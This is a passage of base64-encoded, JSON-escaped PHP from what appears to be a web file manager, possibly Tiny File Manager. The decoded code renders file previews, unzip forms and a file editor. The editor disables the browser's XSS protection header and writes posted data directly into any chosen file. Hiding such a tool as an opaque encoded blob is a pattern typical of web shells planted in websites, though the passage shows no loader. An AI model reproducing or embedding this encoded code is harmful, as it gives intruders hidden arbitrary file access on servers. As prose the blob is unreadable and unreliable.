Jhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9udFNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5c